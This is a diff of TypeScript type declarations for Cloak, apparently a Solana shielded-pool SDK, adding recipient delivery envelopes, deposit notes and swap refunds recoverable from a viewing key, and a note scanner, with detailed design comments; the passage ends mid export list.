+ * Pending deposit record
+ */
+interface PendingDeposit {
+    /** The note (contains spending secrets!) */
+    note: CloakNote;
+    /** When the deposit was initiated */
+    startedAt: number;
+    /** Transaction signature if available */
+    txSignature?: string;
+    /** Status of the deposit */
+    status: "pending" | "tx_sent" | "confirmed" | "failed";
+    /** Error message if failed */
+    error?: string;
+}
+/**
+ * Pending withdrawal record
+ */
+interface PendingWithdrawal {
+    /** The relay request ID (for resumption) */
+    requestId: string;
+    /** The note commitment being withdrawn */
+    commitment: string;
+    /** The nullifier being used */
+    nullifier: string;
+    /** When the withdrawal was initiated */
+    startedAt: number;
+    /** Status of the withdrawal */
+    status: "pending" | "processing" | "completed" | "failed";
+    /** Transaction signature if completed */
+    txSignature?: string;
+    /** Error message if failed */
+    error?: string;
+}
+/**
+ * Save a pending deposit
+ * Call this BEFORE sending the on-chain transaction to ensure note is persisted
+ */
+declare function savePendingDeposit(deposit: PendingDeposit): void;
+/**
+ * Load all pending deposits
+ */
+declare function loadPendingDeposits(): PendingDeposit[];
+/**
+ * Update a pending deposit status
+ */
+declare function updatePendingDeposit(commitment: string, updates: Partial<PendingDeposit>): void;
+/**
+ * Remove a pending deposit (e.g., after successful confirmation)
+ */
+declare function removePendingDeposit(commitment: string): void;
+/**
+ * Clear all pending deposits
+ */
+declare function clearPendingDeposits(): void;
+/**
+ * Save a pending withdrawal
+ * Call this when you receive the request_id from the relay
+ */
+declare function savePendingWithdrawal(withdrawal: PendingWithdrawal): void;
+/**
+ * Load all pending withdrawals
+ */
+declare function loadPendingWithdrawals(): PendingWithdrawal[];
+/**
+ * Update a pending withdrawal status
+ */
+declare function updatePendingWithdrawal(requestId: string, updates: Partial<PendingWithdrawal>): void;
+/**
+ * Remove a pending withdrawal (e.g., after successful completion)
+ */
+declare function removePendingWithdrawal(requestId: string): void;
+/**
+ * Clear all pending withdrawals
+ */
+declare function clearPendingWithdrawals(): void;
+/**
+ * Check if there are any pending operations that need recovery
+ * Call this on page load to determine if recovery UI should be shown
+ */
+declare function hasPendingOperations(): boolean;
+/**
+ * Get summary of pending operations for recovery UI
+ */
+declare function getPendingOperationsSummary(): {
+    deposits: PendingDeposit[];
+    withdrawals: PendingWithdrawal[];
+    totalPending: number;
+};
+/**
+ * Clean up stale pending operations
+ * Call this periodically to remove old failed/completed operations
+ *
+ * @param maxAgeMs Maximum age in milliseconds before an operation is removed (default: 24 hours)
+ */
+declare function cleanupStalePendingOperations(maxAgeMs?: number): {
+    removedDeposits: number;
+    removedWithdrawals: number;
+};
+
+/**
+ * Recipient-addressed delivery envelope (CLKD1).
+ *
+ * ── The defect this closes ────────────────────────────────────────────────────────────────────
+ * A shield-to-shield send creates an output note OWNED BY THE RECIPIENT. The only discovery
+ * artefact the SDK used to publish for it was the CLK1 compliance chain note, which is encrypted
+ * under the SENDER's `nk` and keyed (HKDF salt) by the output commitment. That note is openable by
+ * the sender and by nobody else — so the recipient's money sat on chain, valid and spendable, with
+ * its owner unable to see it (campaign rows S2S-08 / VK-01).
+ *
+ * This envelope is the recipient's half. It is encrypted to the RECIPIENT's X25519 public viewing
+ * key — the one derived by `deriveViewingKeyFromNk(nk)` — so a cold scan holding nothing but
+ * `(rpc, programId, nk)` can open it. That triple is exactly the cold-scan contract VK-01 tested.
+ *
+ * ── Wire format — dictated by the relay, not by us ────────────────────────────────────────────
+ * `services/relay/src/api/transact.rs:176-205` accepts EXACTLY ONE base64 envelope of EXACTLY
+ * 112 bytes and only on a shield-to-shield send (`public_amount == 0`); anything else is a 400 and
+ * no carrier is written. `services/relay/src/solana/mod.rs:2338` then publishes
+ *
+ *     "CLKD1" || hex(output_commitment[0]) || hex(envelope)
+ *
+ * as an SPL Memo in a transaction that touches the PDA at seed `b"cloak_delivery_registry"`, which
+ * is what makes it enumerable via `getSignaturesForAddress`.
+ *
+ * The 112 bytes are:
+ *
+ *     [0  ..32)  ephemeral X25519 public key
+ *     [32 ..56)  24-byte XSalsa20-Poly1305 nonce
+ *     [56..112)  56-byte ciphertext = 40-byte plaintext + 16-byte Poly1305 tag
+ *
+ * and the 40-byte plaintext is `amount(u64 LE) || blinding(u256 BE)` — precisely what a recipient
+ * needs, alongside their own keypair and the pool mint, to recompute the commitment and spend it.
+ * Amount is LE to match every other u64 the SDK writes (`chain-note.ts`, public inputs); blinding
+ * is BE to match `bigintToBytes32` and the on-chain field-element convention.
+ *
+ * ── Crypto ────────────────────────────────────────────────────────────────────────────────────
+ * X25519 ECDH + XSalsa20-Poly1305, i.e. `nacl.box`, reusing the exact construction already in
+ * `notes/keypair.ts` (`nacl.box.before` + `nacl.secretbox`). No new primitive is introduced here.
+ */
+
+/** Ephemeral X25519 public key, at offset 0. */
+declare const RECIPIENT_DELIVERY_EPHEMERAL_PK_LEN = 32;
+/** XSalsa20-Poly1305 nonce, immediately after the ephemeral key. */
+declare const RECIPIENT_DELIVERY_NONCE_LEN = 24;
+/** amount(8) + blinding(32) — everything the owner needs to rebuild and spend the note. */
+declare const RECIPIENT_DELIVERY_PLAINTEXT_LEN = 40;
+/** Poly1305 authentication tag. */
+declare const RECIPIENT_DELIVERY_TAG_LEN = 16;
+/** Sealed payload = plaintext + tag. */
+declare const RECIPIENT_DELIVERY_CIPHERTEXT_LEN: number;
+/**
+ * Total envelope size. The relay rejects any other length outright
+ * (`RECIPIENT_DELIVERY_NOTE_BYTES` in `services/relay/src/api/transact.rs`), so this constant is a
+ * contract with a shipped binary, not a preference.
+ */
+declare const RECIPIENT_DELIVERY_NOTE_BYTES: number;
+/** PDA seed the relay derives the carrier's registry account from. */
+declare const DELIVERY_REGISTRY_SEED = "cloak_delivery_registry";
+/** ASCII tag prefixing the carrier memo payload. */
+declare const DELIVERY_MEMO_TAG = "CLKD1";
+/** The spendable contents of a delivery envelope. */
+interface RecipientDeliveryNote {
+    /** Note amount in the pool mint's smallest unit. */
+    amount: bigint;
+    /** Note blinding factor (BN254 field element). */
+    blinding: bigint;
+}
+/**
+ * Seal `{amount, blinding}` to a recipient's X25519 public viewing key.
+ *
+ * Every input is length-checked here rather than at the relay: a malformed envelope costs a
+ * confirmed transaction's worth of latency before the 400 comes back, and the send has already
+ * generated its proof by then.
+ */
+declare function encodeRecipientDeliveryNote(note: RecipientDeliveryNote, recipientViewingPublicKey: Uint8Array): Uint8Array;
+/**
+ * Trial-open an envelope with a viewing secret. Returns `null` — never throws — when the envelope
+ * is not ours, because a scanner runs this against every carrier in the registry.
+ */
+declare function openRecipientDeliveryNote(envelope: Uint8Array, viewingSecretKey: Uint8Array): RecipientDeliveryNote | null;
+declare function recipientDeliveryNoteToBase64(envelope: Uint8Array): string;
+/** Parameters the send path already has in hand when it assembles the relay body. */
+interface BuildRecipientDeliveryNotesParams {
+    /** Signed public amount. Zero — and only zero — is a shield-to-shield send. */
+    externalAmount: bigint;
+    /** External withdrawal recipient, if any. A send has none. */
+    recipient?: PublicKey | null;
+    /** The recipient's 32-byte X25519 public viewing key (`deriveViewingKeyFromNk(nk).publicKey`). */
+    recipientViewingPublicKey?: Uint8Array | string | null;
+    /**
+     * The output note being delivered. MUST be output 0: the relay binds the carrier to
+     * `public_inputs.output_commitments[0]` (`services/relay/src/api/transact.rs:1015`).
+     */
+    note?: Pick<Utxo, "amount" | "blinding"> | null;
+    /** UTXO public key that owns `note` (i.e. `paddedOutputs[0].keypair.publicKey`). */
+    noteOwnerPublicKey?: bigint;
+    /** UTXO public key doing the spending (i.e. `paddedInputs[0].keypair.publicKey`). */
+    spenderPublicKey?: bigint;
+}
+/**
+ * Build the `recipient_delivery_notes` field for `/transact`, or `undefined` when the rail does not
+ * apply. Returning `undefined` (rather than an empty array) matters: the relay's signed field view
+ * treats omitted and null identically, and an empty array on a withdrawal would still be a 400.
+ */
+declare function buildRecipientDeliveryNotes(params: BuildRecipientDeliveryNotesParams): string[] | undefined;
+/** Render the carrier memo byte-for-byte as `emit_recipient_delivery_carrier` does. */
+declare function encodeDeliveryCarrierMemo(outputCommitment: bigint | Uint8Array, envelope: Uint8Array): Uint8Array;
+interface ParsedDeliveryCarrier {
+    /** Lowercase 64-char hex of the output commitment the carrier declares. */
+    commitment: string;
+    /** The raw 112-byte envelope. */
+    note: Uint8Array;
+}
+/**
+ * Parse one SPL Memo payload. Returns `null` for anything that is not a well-formed CLKD1 carrier —
+ * the memo program accepts arbitrary UTF-8 from anyone, so this must fail closed on exact lengths
+ * (I-12: exact `!==` gates, never `<`).
+ */
+declare function parseDeliveryCarrierMemo(data: Uint8Array): ParsedDeliveryCarrier | null;
+
+/**
+ * Recoverable deposit notes (VK-01, deposit shape).
+ *
+ * ── The defect this closes ────────────────────────────────────────────────────────────────────
+ * A cold scan holding exactly `(rpc, programId, nk)` — the contract the SDK advertises for viewing
+ * keys — found the WITHDRAWAL change note and did NOT find the DEPOSIT. The control that makes the
+ * miss attributable is the withdrawal: the same scanner, the same 300-signature window, the same
+ * key, one shape found and one not.
+ *
+ * Two things were missing, and only one of them was visible from the failing arm:
+ *
+ *  1. `outPubkey0`. The deposit's chain note is v3 (timestamp + noteSalt), and `chainNoteHash` binds
+ *     `noteSemantics = Poseidon(outAmount0, outPubkey0, isSendToSelfKey0)`. `outPubkey0` is the
+ *     output note's OWNER key, which is not derivable from `nk` — the key hierarchy runs
+ *     `skSpend → nk` through BLAKE3 and does not run backwards. So the scanner could decrypt the
+ *     note and then had to drop it, because the hash it recomputed could never match. That is why
+ *     the widened arm needed an undocumented `ownUtxoPublicKey`: it was feeding the scanner the one
+ *     value the advertised contract does not carry.
+ *  2. The BLINDING. Even with `ownUtxoPublicKey` the deposit is only VISIBLE, not RECOVERABLE — the
+ *     blinding came from `randomFieldElement()` inside `createUtxo` and is written nowhere. A note
+ *     you can see and cannot spend is not a recovered note.
+ *
+ * ── Why derivation, and not another envelope ──────────────────────────────────────────────────
+ * The shielded-send shape was fixed with a CLKD1 delivery envelope because a send's output is owned
+ * by SOMEONE ELSE: the only way to reach them is to encrypt to their key. A deposit's output is
+ * SELF-owned. There is nobody to deliver to, and an envelope would cost 112 bytes on the one
+ * transaction in the protocol that is wallet-signed and already tight against the 1232-byte packet
+ * limit (a v4 chain note's extra 41 bytes is measured at 1282 and is exactly why deposits stay v3).
+ *
+ * So make the existing chain-note path recoverable instead. Both missing values become a PRF of the
+ * wallet's own `nk` and the note salt the chain note ALREADY carries:
+ *
+ *     seed        = BLAKE3("cloak_deposit_note_v1" || nk || noteSalt(32B BE) || info)
+ *     privateKey  = seed("sk")       reduced into the field
+ *     blinding    = seed("blinding") reduced into the field
+ *     publicKey   = PoseidonEx(privateKey, KEYPAIR_)      [L-02, matches keypair.circom]
+ *
+ * A cold scanner decrypts the chain note with `nk` (AES-GCM, HKDF-salted by the output commitment),
+ * reads `noteSalt` out of the plaintext, replays those three lines, recomputes
+ * `Poseidon(amount, publicKey, blinding, mint)` and requires it to equal a commitment the
+ * transaction actually published. That equality is the authentication: it is not a heuristic, and a
+ * wrong `nk` cannot produce it. Zero extra bytes on chain, no new envelope, no relay change.
+ *
+ * This is the same shape already blessed for swap timeout refunds in `notes/swap-refund.ts`
+ * (PRF(nk, nullifier0)), for the same reason: unrecoverable randomness becomes recoverable
+ * randomness without changing anything an observer can see.
+ *
+ * ── The consequence to be explicit about ──────────────────────────────────────────────────────
+ * The deposit note is owned by a PER-DEPOSIT key rather than by the wallet's single long-lived UTXO
+ * keypair. It is still fully spendable — the wallet re-derives `privateKey` from `nk` whenever it
+ * needs it — and it is strictly better for privacy, because `outPubkey0` no longer links a wallet's
+ * deposits to each other. But it means the caller MUST persist (or be able to re-derive) `nk`, which
+ * a Cloak wallet already does, and it means `transact` must be given an explicit `nk` rather than
+ * inferring one from the output note's own key. `transact` enforces that rather than trusting it.
+ *
+ * ── Guardrails preserved ──────────────────────────────────────────────────────────────────────
+ * [L-02] the public key comes from the capacity-tagged `derivePublicKey`. [H-04-shaped] a zero
+ * public key or blinding would be an unspendable note, so the reduction forces non-zero and the
+ * derivation refuses to return a degenerate pair. [M-04] `noteSalt` stays a private input to
+ * `chainNoteHash`; it is only ever published inside the note's own authenticated ciphertext.
+ */
+
+/**
+ * The chain note salt is 96 bits — the circuit constrains it with `Num2Bits(96)` and `transact`
+ * generates exactly 12 bytes. A salt outside that range would produce a proof the circuit rejects,
+ * so it is refused here rather than at proof time.
+ */
+declare const CHAIN_NOTE_SALT_BITS = 96;
+/** The secrets a deposit note is built from — and the ones a cold scan re-derives. */
+interface DepositNoteSecrets {
+    keypair: UtxoKeypair;
+    blinding: bigint;
+}
+/** A deposit note recovered from `nk` alone, in spendable form. */
+interface RecoveredDepositNote extends DepositNoteSecrets {
+    amount: bigint;
+    mintAddress: PublicKey;
+    /** The commitment the transaction published, reproduced from the derived secrets. */
+    commitment: bigint;
+    /** The salt the chain note carried, which anchored the derivation. */
+    noteSalt: bigint;
+}
+/** A fresh 96-bit chain-note salt, from the same fail-closed source `transact` uses. */
+declare function randomDepositNoteSalt(): bigint;
+/**
+ * Derive a deposit note's keypair and blinding from `(nk, noteSalt)`.
+ *
+ * Deterministic by design: this is the whole reason a cold scan can rebuild the note. Both the
+ * builder and the scanner call it, so there is exactly one definition of what a deposit note is.
+ */
+declare function deriveDepositNoteSecrets(viewingKeyNk: Uint8Array, noteSalt: bigint): Promise<DepositNoteSecrets>;
+/**
+ * Build a deposit output note that a cold `(rpc, programId, nk)` scan can recover.
+ *
+ * Returns the UTXO to pass as `outputUtxos[0]` AND the salt that anchored it. The SAME salt must be
+ * handed to `transact` as `options.chainNoteSalt`, because the chain note is what publishes it — a
+ * salt that does not reach the note leaves the deposit exactly as undiscoverable as before.
+ *
+ * ```ts
+ * const { utxo, noteSalt } = await createRecoverableDepositUtxo(amount, nk, mint);
+ * await transact({ ..., outputUtxos: [utxo], externalAmount: amount },
+ *                { chainNoteViewingKeyNk: nk, chainNoteSalt: noteSalt, ... });
+ * ```
+ */
+declare function createRecoverableDepositUtxo(amount: bigint, viewingKeyNk: Uint8Array, mintAddress?: PublicKey, noteSalt?: bigint): Promise<{
+    utxo: Utxo;
+    noteSalt: bigint;
+}>;
+interface MatchDepositNoteParams {
+    /** The scanning wallet's incoming viewing base. */
+    viewingKeyNk: Uint8Array;
+    /** `noteSalt`, read out of the decrypted chain note. */
+    noteSalt: bigint;
+    /** Candidate note amount — for a shield with no inputs this is the public deposit amount. */
+    amount: bigint;
+    /** Pool mint the commitment was computed under. */
+    mintAddress: PublicKey;
+    /** Output commitments the transaction actually published, hex or field elements. */
+    outputCommitments: Array<string | bigint>;
+}
+/**
+ * Decide whether a deposit's published commitment is one this `nk` can rebuild, and if so return
+ * the note in spendable form. Returns `null` for everything that is not ours.
+ *
+ * The commitment equality is the authentication. Nothing here trusts the chain note's own claim
+ * about what it describes; the note only supplies `noteSalt`, and the derived secrets have to
+ * reproduce a value the transaction published or the candidate is discarded.
+ */
+declare function matchDepositNote(params: MatchDepositNoteParams): Promise<RecoveredDepositNote | null>;
+
+/**
+ * Swap timeout-refund discovery (VK-02).
+ *
+ * ── The defect this closes ────────────────────────────────────────────────────────────────────
+ * When a private swap exhausts its retry budget, `CloseSwapState` appends
+ *
+ *     R_fb = Poseidon(amount_after_fee, refund_pubkey, refund_blinding, field(WSOL))
+ *
+ * to the main pool tree. `swapUtxo` generated `refund_pubkey` / `refund_blinding` from raw
+ * randomness and returned them only in the in-memory `UtxoSwapResult.refund`. Lose that object —
+ * a crashed tab, a different device, a scan from cold key material — and the leaf is real, funded,
+ * and permanently unrecoverable: campaign row VK-02 observed R_fb under BOTH the refund note's own
+ * viewing key and the swap creator's, and found nothing under either.
+ *
+ * ── The fix, and why it is SDK-only ───────────────────────────────────────────────────────────
+ * Derive the refund authorization as a PRF of the owner's `nk` and the swap's own first input
+ * nullifier:
+ *
+ *     seed = BLAKE3("cloak_swap_refund_v1" || nk || nullifier0)
+ *
+ * `nullifier0` is published in the TransactSwap public inputs, so a cold scanner enumerating
+ * program transactions can replay this derivation for every swap it sees, recompute R_fb, and
+ * match it against the commitment `CloseSwapState` declared. `nk` is secret, so no third party can
+ * predict, front-run or link the refund key — the on-chain artefacts are unchanged in shape and
+ * every existing binding still holds.
+ *
+ * This changes NOTHING on chain or in the relay. `refund_pubkey` / `refund_blinding` remain
+ * caller-supplied values bound into `computeSwapExtDataHash`; only their provenance changes, from
+ * "unrecoverable randomness" to "recoverable randomness".
+ *
+ * ── Guardrails preserved ──────────────────────────────────────────────────────────────────────
+ * [H-04 / DD-01] the derivation is rejected unless publicKey and blinding are both non-zero, and
+ * it is unique per swap because `nullifier0` is unique per spend. [L-02] the public key comes from
+ * the capacity-tagged `derivePublicKey`, matching `keypair.circom`.
+ *
+ * ── FORWARD-LOOKING ONLY ──────────────────────────────────────────────────────────────────────
+ * Everything here — including `discoverSwapRefunds`, the RPC walker at the bottom of this file —
+ * recovers only refunds whose authorization was DERIVED. Swaps already on chain whose refund keypair
+ * and blinding came from raw randomness stay unrecoverable, permanently, by any key-only scan. There
+ * is nothing to replay: those secrets existed only in the caller's in-memory `UtxoSwapResult.refund`.
+ * Do not let this note get softened — a wallet that reports "no stranded refunds" on the strength of
+ * an empty scan would be making a claim this code cannot support.
+ */
+
+/** A refund authorization: what `swapUtxo` binds into the swap ext-data hash. */
+interface SwapRefundAuthorization {
+    privateKey: bigint;
+    publicKey: bigint;
+    blinding: bigint;
+}
+/** A refund leaf matched back to its owner, ready to spend. */
+interface RecoveredSwapRefund {
+    keypair: UtxoKeypair;
+    blinding: bigint;
+    amount: bigint;
+    /** R_fb as a field element, identical to the commitment `CloseSwapState` appended. */
+    commitment: bigint;
+}
+/**
+ * Derive a swap's refund authorization from the owner's `nk` and the swap's first input nullifier.
+ *
+ * Deterministic by design: this is what makes the refund leaf recoverable from key material alone.
+ */
+declare function deriveSwapRefundAuthorization(viewingKeyNk: Uint8Array, inputNullifier: Uint8Array | bigint): Promise<SwapRefundAuthorization>;
+/**
+ * R_fb, exactly as `CloseSwapState` computes it. The swap principal is always WSOL-locked, so the
+ * mint term is the native-SOL sentinel.
+ */
+declare function computeSwapRefundCommitment(amountAfterFee: bigint, refundPublicKey: bigint, refundBlinding: bigint): Promise<bigint>;
+interface MatchSwapRefundLeafParams {
+    /** The scanning wallet's incoming viewing base. */
+    viewingKeyNk: Uint8Array;
+    /** First input nullifier of the candidate swap, read from its TransactSwap public inputs. */
+    inputNullifier: Uint8Array | bigint;
+    /** Principal returned to the pool, from the `cloak/refund_leaf/v1` event. */
+    amountAfterFee: bigint;
+    /** R_fb as appended on chain. */
+    commitment: bigint | Uint8Array;
+}
+/**
+ * Decide whether a public refund leaf belongs to the holder of `viewingKeyNk`, and if so return it
+ * in spendable form. Returns `null` for every leaf that is not ours — a scanner runs this against
+ * every close it can see.
+ */
+declare function matchSwapRefundLeaf(params: MatchSwapRefundLeafParams): Promise<RecoveredSwapRefund | null>;
+/** One recovered refund leaf, with the chain coordinates that produced it. */
+interface DiscoveredSwapRefund extends RecoveredSwapRefund {
+    /** Signature of the `CloseSwapState` transaction that appended the leaf. */
+    signature: string;
+    /** Leaf index, straight from the `cloak/refund_leaf/v1` event. */
+    leafIndex: bigint;
+    /** First input nullifier of the swap this refund belongs to (the PRF's second input). */
+    inputNullifier: Uint8Array;
+    /** Signature of the `TransactSwap` that opened the swap, when it was inside the scanned window. */
+    swapSignature?: string;
+}
+interface DiscoverSwapRefundsOptions {
+    /** Maximum program signatures to walk. Omit or 0 to walk the whole history. */
+    limit?: number;
+    /** Stop when this signature is reached (exclusive) — the cursor from a previous run. */
+    untilSignature?: string;
+    /** `getTransaction` concurrency (default 50). */
+    batchSize?: number;
+    /** Progress/status callback. */
+    onStatus?: (status: string) => void;
+    /**
+     * Pool mint whose `swap_state` PDAs to derive. Swap input is wSOL-locked, so the default is the
+     * native-SOL sentinel and there is no reason to change it outside a test.
+     */
+    poolMint?: PublicKey;
+}
+/**
+ * Find every swap timeout-refund leaf on chain that belongs to the holder of `viewingKeyNk`, and
+ * return each in spendable form (`keypair`, `blinding`, `amount`, `commitment`).
+ *
+ * Key material only — no relay, no local note store, no prior knowledge of the swap. This is the
+ * recovery path for the exact situation VK-02 described: `CloseSwapState` appended a funded leaf and
+ * its owner could not see it under any key they held.
+ *
+ * FORWARD-LOOKING ONLY. This finds refunds whose authorization was DERIVED as PRF(nk, nullifier0).
+ * A swap whose refund keypair and blinding were drawn from raw randomness — every swap submitted
+ * before that derivation shipped, and any swap built without an `nk` — has no derivation to replay,
+ * and no key-only scan can ever recover it. Those secrets existed solely in the caller's in-memory
+ * `UtxoSwapResult.refund`. An empty result is therefore NOT proof that a wallet has no stranded
+ * refund; it means none of the leaves in the scanned window were derivable from this `nk`.
+ *
+ * @param connection    Solana RPC connection.
+ * @param programId     Shield-pool program id.
+ * @param viewingKeyNk  32-byte `nk` — the same value chain notes are decrypted with.
+ */
+declare function discoverSwapRefunds(connection: Connection, programId: PublicKey, viewingKeyNk: Uint8Array, options?: DiscoverSwapRefundsOptions): Promise<DiscoveredSwapRefund[]>;
+
+/**
+ * Compact deterministic chain note format.
+ *
+ * Envelope: [version 1][ciphertext (plaintext + AES-GCM tag)]
+ *
+ * Plaintext layout by version:
+ * - v3: [timestamp: u64 LE (8)][noteSalt: u256 BE (32)]
+ * - v2: [timestamp: u64 LE (8)]
+ */
+type ChainNoteTxType = "deposit" | "withdraw" | "transfer" | "swap" | "unknown";
+interface CompactChainNote {
+    timestamp: bigint;
+    commitment: string;
+    noteSalt?: bigint;
+    /** v4 only: the three terms that make up `noteSemantics`. */
+    outAmount0?: bigint;
+    outPubkey0?: bigint;
+    isSendToSelfKey0?: bigint;
+}
+/**
+ * Encrypt a compact deterministic chain note.
+ *
+ * v3 carries noteSalt so the recipient can recompute and verify the public
+ * chainNoteHash without making the output commitment linkable by observers.
+ */
+declare function encryptCompactChainNote(timestamp: bigint, nk: Uint8Array, commitmentHex: string, noteSalt: bigint, semantics?: {
+    outAmount0: bigint;
+    outPubkey0: bigint;
+    isSendToSelfKey0: bigint;
+}): Promise<Uint8Array>;
+/**
+ * Decrypt a compact deterministic chain note with candidate output commitments.
+ * Tries each commitment-derived key until AES-GCM authentication succeeds.
+ * Accepts current v3 notes and legacy v2 notes.
+ */
+declare function decryptCompactChainNote(noteBytes: Uint8Array, nk: Uint8Array, candidateCommitments: string[]): Promise<CompactChainNote>;
+declare function chainNoteToBase64(noteBytes: Uint8Array): string;
+declare function chainNoteFromBase64(base64: string): Uint8Array;
+
+/**
+ * Transaction Scanner
+ *
+ * Scans on-chain transactions for the Cloak shield pool program,
+ * extracts chain note envelopes from instruction data, and
+ * trial-decrypts them with the caller's viewing key.
+ *
+ * This module is fully autonomous — it talks directly to a Solana
+ * RPC node and does not depend on the relay.
+ */
+
+/** A single decoded & verified transaction record. */
+interface ScannedTransaction {
+    /** Transaction type (deposit / withdraw / transfer / swap) */
+    txType: ChainNoteTxType;
+    /** Absolute amount in lamports (gross — the full amount leaving the pool) */
+    amount: bigint;
+    /** Protocol fee in lamports (non-zero only for withdrawals/swaps) */
+    fee: bigint;
+    /** Net amount received by the recipient (amount - fee). For deposits this equals amount. */
     netAmount: bigint;
     /** Millisecond timestamp embedded in the chain note */
     timestamp: bigint;
@@ -3341,6 +4213,30 @@ interface ScanResult {
     lastSignature?: string;
     /** Number of RPC getTransaction calls actually made (for diagnostics). */
     rpcCallsMade: number;
+    /**
+     * Notes delivered TO this wallet by other people's shield-to-shield sends, recovered from the
+     * CLKD1 registry. These are SPENDABLE note secrets, not history records — they are intentionally
+     * kept out of `transactions`/`summary` so the compliance report shape is unchanged.
+     */
+    deliveredNotes: DeliveredNote[];
+    /**
+     * This wallet's OWN deposits, rebuilt in SPENDABLE form from `nk` alone (VK-01).
+     *
+     * `transactions` records that a deposit happened and for how much. These carry the keypair and
+     * blinding as well, which is the difference between seeing a note and being able to spend it.
+     * Only deposits built with {@link createRecoverableDepositUtxo} appear here; a deposit whose
+     * blinding came from raw randomness has nothing to rebuild and shows up as a history row only.
+     *
+     * Additive, for the same reason as `deliveredNotes`: note secrets are not compliance rows.
+     */
+    recoveredDepositNotes: RecoveredDepositNoteRecord[];
+}
+/** A recovered deposit note plus the chain coordinates it was recovered from. */
+interface RecoveredDepositNoteRecord extends RecoveredDepositNote {
+    /** Signature of the deposit transaction. */
+    signature: string;
+    /** Millisecond timestamp from the chain note. */
+    timestamp: bigint;
 }
 /** Options for `scanTransactions`. */
 interface ScanOptions {
@@ -3376,15 +4272,74 @@ interface ScanOptions {
      * matching the wallet's associated token account against the on-chain recipient ATA.
      */
     walletPublicKey?: string;
+    /**
+     * Sweep the CLKD1 recipient-delivery registry for notes sent TO this wallet (default: true).
+     * Costs one extra `getSignaturesForAddress` page plus one `getTransaction` per carrier.
+     */
+    includeRecipientDeliveries?: boolean;
+    /**
+     * This wallet's UTXO public key. Supply it to authenticate each delivery carrier's declared
+     * commitment (see `ScanRecipientDeliveryOptions.ownerUtxoPublicKey`). Without it the commitment
+     * is reported unverified.
+     */
+    ownerUtxoPublicKey?: bigint;
+    /** Candidate pool mints for delivery-carrier commitment verification. Defaults to native SOL. */
+    deliveryMints?: PublicKey[];
+}
+/** A note delivered TO the scanning wallet by someone else's shield-to-shield send. */
+interface DeliveredNote {
+    /** Output commitment (lowercase hex) the carrier declares. */
+    commitment: string;
+    /** Note amount, decrypted from the envelope. */
+    amount: bigint;
+    /** Note blinding, decrypted from the envelope. */
+    blinding: bigint;
+    /** Carrier transaction signature (the discovery record, NOT the source transaction). */
+    carrierSignature: string;
+    /** Carrier block time in seconds, when the RPC supplied one. */
+    blockTime?: number;
+    /**
+     * Pool mint the note lives in, resolved by recomputing the commitment. Present only when
+     * `ownerUtxoPublicKey` was supplied — without it the declared commitment cannot be checked.
+     */
+    mint?: string;
+    /**
+     * True when the declared commitment was recomputed from the decrypted note and matched. The
+     * memo's commitment field is unauthenticated; only this recomputation binds it.
+     */
+    commitmentVerified: boolean;
+}
+interface ScanRecipientDeliveryOptions {
+    connection: Connection;
+    programId: PublicKey;
+    /** nk (32 bytes). The X25519 opening key is `deriveViewingKeyFromNk(nk).privateKey`. */
+    viewingKeyNk: Uint8Array;
+    /**
+     * The scanning wallet's UTXO public key. Supply it to authenticate the carrier's declared
+     * commitment: the memo's commitment field is written by the relay and is not covered by the
+     * envelope's Poly1305 tag, so a carrier can claim any commitment it likes. With this set, a
+     * carrier survives only if `Poseidon(amount, ownerPubkey, blinding, mint)` reproduces it.
+     */
+    ownerUtxoPublicKey?: bigint;
+    /** Candidate pool mints to try when verifying. Defaults to the native-SOL sentinel. */
+    mints?: PublicKey[];
+    onStatus?: (status: string) => void;
+    debug?: boolean;
 }
 /**
- * Scan on-chain transactions for the Cloak program, extract chain
- * notes, trial-decrypt with the provided viewing key, verify integrity,
- * and return a sorted list of the caller's transactions.
+ * Sweep the recipient-delivery registry (CLKD1) and trial-open every carrier with the caller's
+ * viewing key.
  *
- * This is fully self-contained — it only needs a Solana RPC connection
- * and the user's viewing key (private).
+ * This is the READ half of the fix for S2S-08 / VK-01. The pre-existing sweep
+ * (`scanSwapNoteCarriers`) reads the CLK1 registry, which carries the SENDER-encrypted compliance
+ * note — which is why a cold scan found the withdrawal change note and nothing that was sent TO the
+ * scanning wallet. This registry carries the recipient-encrypted envelope, and is the only place a
+ * recipient's own note is discoverable from `(rpc, programId, nk)` alone.
  */
+declare function scanRecipientDeliveryNotes(opts: ScanRecipientDeliveryOptions): Promise<{
+    notes: DeliveredNote[];
+    rpcCalls: number;
+}>;
 declare function scanTransactions(opts: ScanOptions): Promise<ScanResult>;
 /** JSON-serializable compliance report (numbers instead of bigint). Used for cache and display. */
 interface ComplianceReport {
@@ -3560,8 +4515,8 @@ declare class SimpleWallet {
  * @packageDocumentation
  */
 
-declare const VERSION = "0.1.5";
+declare const VERSION = "0.2.1";
 /** True when scanner supports TransactSwap (tag 1). Check this to verify the correct SDK bundle is loaded. */
 declare const SCANNER_SUPPORTS_TRANSACT_SWAP = true;
 
-export { CLOAK_PROGRAM_ID, type ChainNoteTxType, type CircuitVerificationResult, type CloakConfig, CloakError, type CloakKeyPair, type CloakNote, CloakSDK, type CommitmentEntry, type CommitmentsResponse, type CompactChainNote, type ComplianceReport, type ComplianceTxType, DEFAULT_CIRCUITS_URL, DEFAULT_TRANSACTION_CIRCUITS_URL, type DepositInstructionParams, type DepositOptions, type DepositResult, type DepositStatus, EXPECTED_CIRCUIT_HASHES, type EncryptedMetadataBundle, type EncryptedNote$1 as EncryptedNote, type ErrorCategory, type ExpandedSpendKey, FIXED_FEE_LAMPORTS, type Groth16Proof, LAMPORTS_PER_SOL, LocalStorageAdapter, type LogLevel, type Logger, MERKLE_TREE_HEIGHT, MIN_DEPOSIT_LAMPORTS, type MasterKey, type MaxLengthArray, MemoryStorageAdapter, type MerkleProof, type MerkleRootResponse, MerkleTree, NATIVE_SOL_MINT, type Network, type NoteData, type OnchainMerkleProof, type PendingDeposit, type PendingWithdrawal, type ProofResult, RelayInternalError, RelayService, type RiskQuoteInstructionResponse, RootNotFoundError, SCANNER_SUPPORTS_TRANSACT_SWAP, SIGN_IN_MESSAGE, SanctionsQuoteError, type ScanOptions, type ScanResult, type ScanSummary, type ScannedTransaction, ShieldPoolErrors, type ShieldPoolPDAs, SimpleWallet, type SpendKey, type StorageAdapter, type SwapOptions, type SwapParams, type SwapResult, type TransactOptions, type TransactParams, type TransactResult, type TransactionMetadata, type Transfer, type TransferOptions, type TransferResult, type TxStatus, type UserFriendlyError, type Utxo, UtxoAlreadySpentError, type EncryptedNote as UtxoEncryptedNote, type UtxoKeypair, type UtxoSwapParams, type UtxoSwapResult, UtxoWallet, 